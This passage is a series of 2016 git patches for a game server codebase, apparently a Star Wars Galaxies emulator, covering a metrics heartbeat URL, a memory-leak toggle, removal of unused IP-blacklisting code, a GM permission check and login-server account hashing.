From c46c0c0062aecf9d0b9e4c1d382c4cc611694371 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Mon, 17 Oct 2016 20:37:18 -0500 Subject: [PATCH 01/37] fix url --- external/3rd/library/webAPI/webAPIHeartbeat.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp index f5720157..20e94f73 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -7,7 +7,7 @@ using namespace StellaBellum; webAPIHeartbeat::webAPIHeartbeat() { - webAPI api = webAPI::webAPI(std::string(vxENCRYPT("https://login.stellabellum.net/metriccontroller/shoulderTap?type=server").decrypt())); + webAPI api = webAPI::webAPI(std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap?type=server").decrypt())); bool result = api.submit(); if (result) { From 8f215405e63edb00327947982b798b7c2d4b0fbf Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Mon, 17 Oct 2016 20:51:13 -0500 Subject: [PATCH 02/37] in theory, this isn't a necessary check as the api would complain if something is missing --- external/3rd/library/webAPI/webAPI.cpp | 2 -- 1 file changed, 2 deletions(-) diff --git a/external/3rd/library/webAPI/webAPI.cpp b/external/3rd/library/webAPI/webAPI.cpp index 9285cfae..57741ff8 100644 --- a/external/3rd/library/webAPI/webAPI.cpp +++ b/external/3rd/library/webAPI/webAPI.cpp @@ -64,8 +64,6 @@ bool webAPI::submit(const int &reqType, const int &getPost, const int &respType) // clear our the object for next time this->requestData.clear(); - } else { - return false; } } From d2b24517f69d8c04a43e87260f9c11a71cb78e57 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Mon, 17 Oct 2016 21:02:17 -0500 Subject: [PATCH 03/37] send a special user agent --- external/3rd/library/webAPI/webAPIHeartbeat.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp index 20e94f73..91ca04cb 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -7,7 +7,7 @@ using namespace StellaBellum; webAPIHeartbeat::webAPIHeartbeat() { - webAPI api = webAPI::webAPI(std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap?type=server").decrypt())); + webAPI api = webAPI::webAPI(std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap?type=server").decrypt()), std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender")).decrypt()); bool result = api.submit(); if (result) { From d9fbf8a254bc72be9984cfa82b34752e232d1051 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Tue, 18 Oct 2016 02:09:53 +0000 Subject: [PATCH 04/37] typo --- external/3rd/library/webAPI/webAPIHeartbeat.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp index 91ca04cb..367c7cac 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -7,7 +7,7 @@ using namespace StellaBellum; webAPIHeartbeat::webAPIHeartbeat() { - webAPI api = webAPI::webAPI(std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap?type=server").decrypt()), std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender")).decrypt()); + webAPI api = webAPI::webAPI(std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap?type=server").decrypt()), std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender").decrypt())); bool result = api.submit(); if (result) { From c1a1278015e7a356e292dd4577782893eefaf8a8 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Tue, 15 Nov 2016 07:30:12 +0000 Subject: [PATCH 05/37] apparently we fixed whatever was really causing crashes for this... --- engine/server/library/serverDatabase/src/shared/Persister.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/engine/server/library/serverDatabase/src/shared/Persister.cpp b/engine/server/library/serverDatabase/src/shared/Persister.cpp index 19270519..03295b08 100755 --- a/engine/server/library/serverDatabase/src/shared/Persister.cpp +++ b/engine/server/library/serverDatabase/src/shared/Persister.cpp @@ -604,7 +604,7 @@ void Persister::saveCompleted(Snapshot *completedSnapshot) { m_savingSnapshots.erase(i, m_savingSnapshots.end()); - //delete completedSnapshot; + delete completedSnapshot; if (m_savingSnapshots.empty() && ConfigServerDatabase::getReportSaveTimes()) { @@ -636,7 +636,7 @@ void Persister::saveCompleted(Snapshot *completedSnapshot) else { SnapshotListType::iterator j=std::remove(m_savingCharacterSnapshots.begin(),m_savingCharacterSnapshots.end(),completedSnapshot); - DEBUG_FATAL(i==m_savingCharacterSnapshots.end(),("Programmer bug: SaveCompleted() called with a snapshot that wasn't in m_savingSnapshots or m_savingCharacterSnapshots.")); +DEBUG_FATAL(i==m_savingCharacterSnapshots.end(),("Programmer bug: SaveCompleted() called with a snapshot that wasn't in m_savingSnapshots or m_savingCharacterSnapshots.")); m_savingCharacterSnapshots.erase(j, m_savingCharacterSnapshots.end()); delete completedSnapshot; DEBUG_REPORT_LOG(ConfigServerDatabase::getReportSaveTimes(),("New character save completed\n")); From 6b4974906de4446d143841d45c055df0c84d3b52 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Sun, 11 Dec 2016 02:30:58 +0000 Subject: [PATCH 06/37] re-add the mem leak so that the master branch can at least be used --- engine/server/library/serverDatabase/src/shared/Persister.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/engine/server/library/serverDatabase/src/shared/Persister.cpp b/engine/server/library/serverDatabase/src/shared/Persister.cpp index 29b96463..d2eeff27 100755 --- a/engine/server/library/serverDatabase/src/shared/Persister.cpp +++ b/engine/server/library/serverDatabase/src/shared/Persister.cpp @@ -606,7 +606,7 @@ void Persister::saveCompleted(Snapshot *completedSnapshot) { m_savingSnapshots.erase(i, m_savingSnapshots.end()); - delete completedSnapshot; + //delete completedSnapshot; if (m_savingSnapshots.empty() && ConfigServerDatabase::getReportSaveTimes()) { From 964f7b3de9019fa2384a05e5efe3fd4a59d76894 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Wed, 14 Dec 2016 04:41:43 +0000 Subject: [PATCH 07/37] forgot to actually commit this fix --- .../src/shared/core/SwgSnapshot.cpp | 136 +++++++++--------- 1 file changed, 68 insertions(+), 68 deletions(-) diff --git a/game/server/application/SwgDatabaseServer/src/shared/core/SwgSnapshot.cpp b/game/server/application/SwgDatabaseServer/src/shared/core/SwgSnapshot.cpp index e008c675..e6f04dd2 100755 --- a/game/server/application/SwgDatabaseServer/src/shared/core/SwgSnapshot.cpp +++ b/game/server/application/SwgDatabaseServer/src/shared/core/SwgSnapshot.cpp @@ -172,40 +172,40 @@ void SwgSnapshot::handleDeleteMessage(const NetworkId &objectId, int reasonCode, bool immediate, bool demandLoadedContainer, bool cascadeReason) { m_objectTableBuffer.handleDeleteMessage(objectId, reasonCode, demandLoadedContainer, cascadeReason); - m_battlefieldMarkerObjectBuffer->removeObject(objectId); - m_battlefieldParticipantBuffer->removeObject(objectId); - m_buildingObjectBuffer->removeObject(objectId); - m_bountyHunterTargetBuffer->removeObject(objectId); - m_cellObjectBuffer->removeObject(objectId); - m_cityObjectBuffer->removeObject(objectId); - m_creatureObjectBuffer->removeObject(objectId); - m_experienceBuffer->removeObject(objectId); - m_factoryObjectBuffer->removeObject(objectId); - m_guildObjectBuffer->removeObject(objectId); - m_harvesterInstallationObjectBuffer->removeObject(objectId); - m_installationObjectBuffer->removeObject(objectId); - m_intangibleObjectBuffer->removeObject(objectId); - m_locationBuffer->removeObject(objectId); - m_manufactureInstallationObjectBuffer->removeObject(objectId); - m_manufactureSchematicAttributeBuffer->removeObject(objectId); - m_manufactureSchematicObjectBuffer->removeObject(objectId); - m_messageBuffer->removeObject(objectId); - m_missionObjectBuffer->removeObject(objectId); - m_objvarBuffer->removeObject(objectId); - m_planetObjectBuffer->removeObject(objectId); - m_playerObjectBuffer->removeObject(objectId); - m_playerQuestObjectBuffer->removeObject(objectId); - m_propertyListBuffer->removeObject(objectId); - m_resourceContainerObjectBuffer->removeObject(objectId); - m_resourceTypeBuffer->removeObject(objectId); - m_scriptBuffer->removeObject(objectId); - m_shipObjectBuffer->removeObject(objectId); - m_staticObjectBuffer->removeObject(objectId); - m_tangibleObjectBuffer->removeObject(objectId); - m_universeObjectBuffer->removeObject(objectId); - m_vehicleObjectBuffer->removeObject(objectId); - m_waypointBuffer->removeObject(objectId); - m_weaponObjectBuffer->removeObject(objectId); + m_battlefieldMarkerObjectBuffer.removeObject(objectId); + m_battlefieldParticipantBuffer.removeObject(objectId); + m_buildingObjectBuffer.removeObject(objectId); + m_bountyHunterTargetBuffer.removeObject(objectId); + m_cellObjectBuffer.removeObject(objectId); + m_cityObjectBuffer.removeObject(objectId); + m_creatureObjectBuffer.removeObject(objectId); + m_experienceBuffer.removeObject(objectId); + m_factoryObjectBuffer.removeObject(objectId); + m_guildObjectBuffer.removeObject(objectId); + m_harvesterInstallationObjectBuffer.removeObject(objectId); + m_installationObjectBuffer.removeObject(objectId); + m_intangibleObjectBuffer.removeObject(objectId); + m_locationBuffer.removeObject(objectId); + m_manufactureInstallationObjectBuffer.removeObject(objectId); + m_manufactureSchematicAttributeBuffer.removeObject(objectId); + m_manufactureSchematicObjectBuffer.removeObject(objectId); + m_messageBuffer.removeObject(objectId); + m_missionObjectBuffer.removeObject(objectId); + m_objvarBuffer.removeObject(objectId); + m_planetObjectBuffer.removeObject(objectId); + m_playerObjectBuffer.removeObject(objectId); + m_playerQuestObjectBuffer.removeObject(objectId); + m_propertyListBuffer.removeObject(objectId); + m_resourceContainerObjectBuffer.removeObject(objectId); + m_resourceTypeBuffer.removeObject(objectId); + m_scriptBuffer.removeObject(objectId); + m_shipObjectBuffer.removeObject(objectId); + m_staticObjectBuffer.removeObject(objectId); + m_tangibleObjectBuffer.removeObject(objectId); + m_universeObjectBuffer.removeObject(objectId); + m_vehicleObjectBuffer.removeObject(objectId); + m_waypointBuffer.removeObject(objectId); + m_weaponObjectBuffer.removeObject(objectId); if (immediate && (getMode() != DB::ModeQuery::mode_INSERT)) { if (!m_immediateDeleteStep) { @@ -466,40 +466,40 @@ bool SwgSnapshot::load(DB::Session *session) { m_objectTableBuffer.getTags(tags); // the buffer list was fucked so we'll do this the old fashioned way - if (!((m_battlefieldMarkerObjectBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_battlefieldParticipantBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_buildingObjectBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_bountyHunterTargetBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_cellObjectBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_cityObjectBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_creatureObjectBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_experienceBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_factoryObjectBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_guildObjectBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_harvesterInstallationObjectBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_installationObjectBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_intangibleObjectBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_locationBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_manufactureInstallationObjectBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_manufactureSchematicAttributeBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_manufactureSchematicObjectBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_messageBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_missionObjectBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_objvarBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_planetObjectBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_playerObjectBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_playerQuestObjectBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_propertyListBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_resourceContainerObjectBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_resourceTypeBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_scriptBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_shipObjectBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_staticObjectBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_tangibleObjectBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_universeObjectBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_vehicleObjectBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_waypointBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } - if (!((m_weaponObjectBuffer)->load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_battlefieldMarkerObjectBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_battlefieldParticipantBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_buildingObjectBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_bountyHunterTargetBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_cellObjectBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_cityObjectBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_creatureObjectBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_experienceBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_factoryObjectBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_guildObjectBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_harvesterInstallationObjectBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_installationObjectBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_intangibleObjectBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_locationBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_manufactureInstallationObjectBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_manufactureSchematicAttributeBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_manufactureSchematicObjectBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_messageBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_missionObjectBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_objvarBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_planetObjectBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_playerObjectBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_playerQuestObjectBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_propertyListBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_resourceContainerObjectBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_resourceTypeBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_scriptBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_shipObjectBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_staticObjectBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_tangibleObjectBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_universeObjectBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_vehicleObjectBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_waypointBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } + if (!((m_weaponObjectBuffer).load(session, tags, schema, getUseGoldDatabase()))) { return false; } DEBUG_REPORT_LOG(ConfigServerDatabase::getLogObjectLoading(), ("Load end.\n")); } else { From 3598780d0cc5578b65c68c438940745028ecbfcf Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Tue, 27 Dec 2016 09:27:38 +0000 Subject: [PATCH 08/37] well, that would do it --- external/3rd/library/udplibrary/UdpLibrary.cpp | 11 ----------- 1 file changed, 11 deletions(-) diff --git a/external/3rd/library/udplibrary/UdpLibrary.cpp b/external/3rd/library/udplibrary/UdpLibrary.cpp index f8e7c870..274fc4ea 100755 --- a/external/3rd/library/udplibrary/UdpLibrary.cpp +++ b/external/3rd/library/udplibrary/UdpLibrary.cpp @@ -409,8 +409,6 @@ UdpManager::~UdpManager() TerminateOperatingSystem(); delete mAddressHashTable; - mIpConnectionCount.clear(); - blacklist.clear(); delete mConnectCodeHashTable; delete mPriorityQueue; @@ -570,14 +568,6 @@ void UdpManager::RemoveConnection(UdpConnection *con) mAddressHashTable->Remove(con, AddressHashValue(con->mIp, con->mPort)); unsigned int addy = con->mIp.GetAddress(); - if (mIpConnectionCount[addy] > 1) - { - mIpConnectionCount[addy]--; - } - else - { - mIpConnectionCount.erase(addy); - } mConnectCodeHashTable->Remove(con, con->mConnectCode); } @@ -594,7 +584,6 @@ void UdpManager::AddConnection(UdpConnection *con) mConnectionListCount++; mAddressHashTable->Insert(con, AddressHashValue(con->mIp, con->mPort)); - mIpConnectionCount[con->mIp.GetAddress()]++; mConnectCodeHashTable->Insert(con, con->mConnectCode); } From 8e00d9ece7e7d874837930417bcabbacfe949b82 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Tue, 27 Dec 2016 00:00:02 -0600 Subject: [PATCH 09/37] remove my currently unused code for blacklisting people as iptables seems to suffice --- .gitignore | 1 + .../3rd/library/udplibrary/UdpLibrary.cpp | 30 ------------------- .../3rd/library/udplibrary/UdpLibrary.hpp | 21 ------------- 3 files changed, 1 insertion(+), 51 deletions(-) diff --git a/.gitignore b/.gitignore index b112824a..6bf76060 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,4 @@ +cmake-build* *.geany PVS* *.cfg diff --git a/external/3rd/library/udplibrary/UdpLibrary.cpp b/external/3rd/library/udplibrary/UdpLibrary.cpp index 274fc4ea..4105355f 100755 --- a/external/3rd/library/udplibrary/UdpLibrary.cpp +++ b/external/3rd/library/udplibrary/UdpLibrary.cpp @@ -157,13 +157,6 @@ char *UdpIpAddress::GetAddress(char *buffer) const return(buffer); } -char *UdpIpAddress::GetV4Address() const -{ - struct sockaddr_in addr_serverUDP; - addr_serverUDP.sin_addr.s_addr = mIp; - return inet_ntoa(addr_serverUDP.sin_addr); -} - ///////////////////////////////////////////////////////////////////////////////////////////////////// // UdpManager::Params initializations constructor (ie. default values) ///////////////////////////////////////////////////////////////////////////////////////////////////// @@ -1071,7 +1064,6 @@ void UdpManager::ProcessRawPacket(const PacketHistoryEntry *e) } } - // got a packet from somebody and we don't know who they are and the packet we got was not a connection request // just in case they are a previous client who thinks they are still connected, we will send them an internal // packet telling them that we don't know who they are @@ -1099,28 +1091,6 @@ void UdpManager::ProcessRawPacket(const PacketHistoryEntry *e) con->Release(); } -bool UdpManager::isBlacklisted(unsigned int clientAddr) -{ - return false; -} - -void UdpManager::disconnectByIp(unsigned int clientAddr) -{ - while (mConnectionList != nullptr) - { - if (mConnectionList->mIp.GetAddress() == clientAddr) - { - mConnectionList->SetSilentDisconnect(true); - mConnectionList->InternalDisconnect(0, UdpConnection::cDisconnectReasonDosAttack); - - } - } -} - -void UdpManager::addStrike(UdpIpAddress clientIp, int type) -{ -} - UdpConnection *UdpManager::AddressGetConnection(UdpIpAddress ip, int port) const { UdpConnection *found = static_cast(mAddressHashTable->FindFirst(AddressHashValue(ip, port))); diff --git a/external/3rd/library/udplibrary/UdpLibrary.hpp b/external/3rd/library/udplibrary/UdpLibrary.hpp index 52922dab..3117e386 100644 --- a/external/3rd/library/udplibrary/UdpLibrary.hpp +++ b/external/3rd/library/udplibrary/UdpLibrary.hpp @@ -2,7 +2,6 @@ #define UDPLIBRARY_HPP #include -#include #include "UdpHandler.hpp" #include "priority.hpp" @@ -101,7 +100,6 @@ class UdpIpAddress public: UdpIpAddress(unsigned int ip = 0); unsigned int GetAddress() const { return(mIp); } - char *GetV4Address() const; char *GetAddress(char *buffer) const; bool operator==(const UdpIpAddress& e) const { return(mIp == e.mIp); } protected: @@ -926,9 +924,6 @@ class UdpManager // to explicitly call this function. LogicalPacket *CreatePacket(const void *data, int dataLen, const void *data2 = nullptr, int dataLen2 = 0); - // is the given unsigned int expressed ip blacklisted? - bool isBlacklisted(unsigned int); - protected: friend class PooledLogicalPacket; void PoolReturn(PooledLogicalPacket *packet); // so pooled packets can add themselves back to the pool @@ -1045,22 +1040,6 @@ class UdpManager // typically it is recommended that all UdpConnection objects be destroyed before destroying this manager object int mRefCount; - - // number of strikes - static const int strikeOut = 3; - - // actual count of connections for a given ip - std::unordered_map mIpConnectionCount; - - - // count of strikes against a given ip - 3 successive DoS attempts and they are banned til next restart at best - std::unordered_map blacklist; - - // does what it says - void disconnectByIp (unsigned int); - - // add a strike - void addStrike(UdpIpAddress clientIp, int type); }; //////////////////////////////////////////////////////////////////////////////////////////////////////////// From f7625d1689cd017a3d2f75a2d6a8acf176b948e3 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Tue, 27 Dec 2016 19:59:17 +0000 Subject: [PATCH 10/37] check for gm in ConsoleCommandParserScript --- .../src/shared/console/ConsoleCommandParserScript.cpp | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/engine/server/library/serverGame/src/shared/console/ConsoleCommandParserScript.cpp b/engine/server/library/serverGame/src/shared/console/ConsoleCommandParserScript.cpp index 99f1f236..d661a639 100755 --- a/engine/server/library/serverGame/src/shared/console/ConsoleCommandParserScript.cpp +++ b/engine/server/library/serverGame/src/shared/console/ConsoleCommandParserScript.cpp @@ -51,6 +51,17 @@ CommandParser ("script", 0, "...", "Script related commands.", 0) bool ConsoleCommandParserScript::performParsing (const NetworkId & userId, const StringVector_t & argv, const String_t & originalCommand, String_t & result, const CommandParser * node) { + CreatureObject * const playerObject = dynamic_cast(ServerWorld::findObjectByNetworkId(userId)); + if (!playerObject) + { + WARNING_STRICT_FATAL(true, ("Console command executed on invalid player object %s", userId.getValueString().c_str())); + return false; + } + + if (!playerObject->getClient()->isGod()) { + return false; // <3 you seefo + } + NOT_NULL (node); UNREF(originalCommand); From e447aef1a3e2e29ff7ae7739b14dcddf34e48272 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Wed, 28 Dec 2016 19:01:59 +0000 Subject: [PATCH 11/37] clean up the login server output --- .../src/shared/ClientConnection.cpp | 50 ++++++++++++------- 1 file changed, 32 insertions(+), 18 deletions(-) diff --git a/engine/server/application/LoginServer/src/shared/ClientConnection.cpp b/engine/server/application/LoginServer/src/shared/ClientConnection.cpp index e48e6463..54707546 100755 --- a/engine/server/application/LoginServer/src/shared/ClientConnection.cpp +++ b/engine/server/application/LoginServer/src/shared/ClientConnection.cpp @@ -169,8 +169,8 @@ void ClientConnection::validateClient(const std::string &id, const std::string & bool authOK = false; StationId suid = atoi(id.c_str()); static const std::string authURL(ConfigLoginServer::getExternalAuthUrl()); - std::string uname; + std::string uname; std::string parentAccount; std::vector childAccounts; @@ -194,7 +194,7 @@ void ClientConnection::validateClient(const std::string &id, const std::string & parentAccount = api.getString("mainAccount"); childAccounts = api.getStringVector("subAccounts"); } else { - std::string msg = api.getString("message"); + std::string msg(api.getString("message")); if (msg.empty()) { msg = "Invalid username or password."; } @@ -214,30 +214,44 @@ void ClientConnection::validateClient(const std::string &id, const std::string & if (authOK) { if (suid == 0) { - if (uname.length() > MAX_ACCOUNT_NAME_LENGTH) { - uname.resize(MAX_ACCOUNT_NAME_LENGTH); - } + uname.resize(MAX_ACCOUNT_NAME_LENGTH); - std::hash h; - suid = h(uname.c_str()); + std::hash hasher; + suid = hasher(uname); } - std::hash h; - StationId parent = h(parentAccount); + REPORT_LOG(true, ("Client connected. Username: %s (%lu) \n", uname.c_str(), suid)); - REPORT_LOG(true, - ("Client connected. Station Id: %llu, Username: %s, Parent %s\n", suid, uname.c_str(), parentAccount.c_str())); + StationId parent = -1; + + if (!parentAccount.empty()) { + parentAccount.resize(MAX_ACCOUNT_NAME_LENGTH); + + std::hash hasher; + parent = hasher(parentAccount); + + if (parentAccount != uname) { + REPORT_LOG(true, ("\t%s's parent is %s (%lu) \n", uname.c_str(), parentAccount.c_str(), parent)); + } + } else { + parentAccount = "(Empty Parent!) "+uname; + } for (auto i : childAccounts) { - if (i.length() > MAX_ACCOUNT_NAME_LENGTH) { - i.resize(MAX_ACCOUNT_NAME_LENGTH); - } + std::string child(i); - StationId childID = h(i); - REPORT_LOG(true, ("\tA child account for %s is %s (%llu)\n", parentAccount.c_str(), i.c_str(), childID)); + if (!child.empty()) { + std::hash hasher; + child.resize(MAX_ACCOUNT_NAME_LENGTH); - // insert all related accounts, if not already there, into the db - DatabaseConnection::getInstance().upsertAccountRelationship(parent, childID); + StationId childID = hasher(child); + REPORT_LOG(true, ("\tchild of %s (%lu) is %s (%lu) \n", parentAccount.c_str(), parent, child.c_str(), childID)); + + // insert all related accounts, if not already there, into the db + DatabaseConnection::getInstance().upsertAccountRelationship(parent, childID); + } else { + WARNING(true, ("Login API returned empty child account(s).")); + } } LOG("LoginClientConnection", From 7677048f33ddcddc7517464f7409fa3d2ee813e3 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Wed, 28 Dec 2016 21:56:24 +0000 Subject: [PATCH 12/37] this works even though it doesn't look right --- .../src/shared/ClientConnection.cpp | 20 +++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/engine/server/application/LoginServer/src/shared/ClientConnection.cpp b/engine/server/application/LoginServer/src/shared/ClientConnection.cpp index 54707546..18c3ebb2 100755 --- a/engine/server/application/LoginServer/src/shared/ClientConnection.cpp +++ b/engine/server/application/LoginServer/src/shared/ClientConnection.cpp @@ -214,10 +214,11 @@ void ClientConnection::validateClient(const std::string &id, const std::string & if (authOK) { if (suid == 0) { - uname.resize(MAX_ACCOUNT_NAME_LENGTH); + if (uname.length() > MAX_ACCOUNT_NAME_LENGTH) + uname.resize(MAX_ACCOUNT_NAME_LENGTH); std::hash hasher; - suid = hasher(uname); + suid = hasher(uname.c_str()); } REPORT_LOG(true, ("Client connected. Username: %s (%lu) \n", uname.c_str(), suid)); @@ -225,10 +226,11 @@ void ClientConnection::validateClient(const std::string &id, const std::string & StationId parent = -1; if (!parentAccount.empty()) { - parentAccount.resize(MAX_ACCOUNT_NAME_LENGTH); + if (parentAccount.length() > MAX_ACCOUNT_NAME_LENGTH) + parentAccount.resize(MAX_ACCOUNT_NAME_LENGTH); std::hash hasher; - parent = hasher(parentAccount); + parent = hasher(parentAccount.c_str()); if (parentAccount != uname) { REPORT_LOG(true, ("\t%s's parent is %s (%lu) \n", uname.c_str(), parentAccount.c_str(), parent)); @@ -241,11 +243,13 @@ void ClientConnection::validateClient(const std::string &id, const std::string & std::string child(i); if (!child.empty()) { - std::hash hasher; - child.resize(MAX_ACCOUNT_NAME_LENGTH); + if (child.length() > MAX_ACCOUNT_NAME_LENGTH) + child.resize(MAX_ACCOUNT_NAME_LENGTH); - StationId childID = hasher(child); - REPORT_LOG(true, ("\tchild of %s (%lu) is %s (%lu) \n", parentAccount.c_str(), parent, child.c_str(), childID)); + std::hash hasher; + StationId childID = hasher(child.c_str()); + + REPORT_LOG(true, ("\tchild of %s (%lu) is %s (%lu) \n", parentAccount.c_str(), parent, child.c_str(), childID)); // insert all related accounts, if not already there, into the db DatabaseConnection::getInstance().upsertAccountRelationship(parent, childID); From 85fb5af930ba5a10a33bdf5208c3eb164dffa578 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Wed, 28 Dec 2016 23:16:34 +0000 Subject: [PATCH 13/37] Revert "It's 2016 and C++11 supports these natively" This reverts commit 3c0115921ee2448d0a6e952eb43860d971bfb7a7. --- .../sharedFoundationTypes/src/linux/FoundationTypesLinux.h | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/engine/shared/library/sharedFoundationTypes/src/linux/FoundationTypesLinux.h b/engine/shared/library/sharedFoundationTypes/src/linux/FoundationTypesLinux.h index bd4bdc9d..386c4ffb 100755 --- a/engine/shared/library/sharedFoundationTypes/src/linux/FoundationTypesLinux.h +++ b/engine/shared/library/sharedFoundationTypes/src/linux/FoundationTypesLinux.h @@ -10,7 +10,6 @@ #define PLATFORM_LINUX #include -#include // ====================================================================== // basic types that we assume to be around @@ -21,8 +20,8 @@ typedef unsigned long uint32; typedef signed char int8; typedef signed short int16; typedef 